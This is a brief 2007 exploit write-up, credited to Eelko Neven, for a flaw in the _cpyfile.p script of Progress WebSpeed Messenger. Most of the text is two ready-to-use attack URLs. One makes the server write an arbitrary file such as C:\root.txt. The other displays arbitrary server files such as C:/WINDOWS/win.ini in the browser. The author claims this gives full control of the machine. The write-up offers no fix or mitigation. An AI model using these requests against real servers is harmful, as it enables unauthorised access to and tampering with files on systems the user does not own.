_cpyfile.p exploit 1. create a file. 24-4-2007 author: Eelko Neven discovered: 22-4-2007 Because of a flaw in _cpyfile.p it is possible to gain full control of a machine running Progress Webspeed Messenger. You can access, change and edit allmost any file on the server running the Webspeed Messenger even when the workshop is disabled. First you have to find the messenger execution url. For example: http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1 http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1 just add the following to the url: /webutil/_cpyfile.p? options=save,editor&tempFile=dummy.tmp&fileName=C:\root.txt&action=last§ion=1&txt0=Test your url will look like this: http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=save,editor&tempFile=dummy.tmp&fileName=C:\root.txt&action=last§ion=1&txt0=Test When you execute this, the script will generate a file c:\root.txt which contains the text Test For a Linux host just change the filename=C:\root.txt into filename= \root.txt>>> _cpyfile.p exploit 2. view a file in the propath. 24-4-2007> author: Eelko Neven> discovered: 22-4-2007>> First you have to find the messenger execution url. For example:> http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1> http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1>> just add the following to the url:> /webutil/_cpyfile.p?options=open,editor&filename=C:/WINDOWS/win.ini> your url will look like this:>http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/webutil/_cpyfile.p?options=open,editor&filename=C:/WINDOWS/win.ini>> When you execute this, you will see the content of the C:/WINDOWS/> win.ini file in your browser.>>> MORE TO FOLLOW>>> http://www.ishare.nl/>
